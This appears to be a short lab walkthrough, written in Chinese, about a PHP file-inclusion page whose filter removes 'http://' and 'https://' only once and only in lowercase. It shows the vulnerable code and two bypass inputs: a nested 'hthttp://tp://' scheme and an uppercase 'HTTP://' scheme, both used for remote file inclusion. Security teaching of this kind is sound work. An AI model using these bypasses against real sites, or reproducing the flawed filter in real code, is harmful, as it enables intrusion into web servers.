<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
这里的处理显而易见就是要处理远程文件包含
去掉http:// 和https://
但是我们依然可以绕过 比如我们想得到 http://mysite/phpinfo.txt
那我们就可以构造如下 hthttp://tp://mysite/phpinfo.txt 这样 因为只经过一次过滤 我们成功绕过 实现远程文件包含
另外一种技巧就是过滤没有区分大小写
可以构造 HTTP:// 同样绕过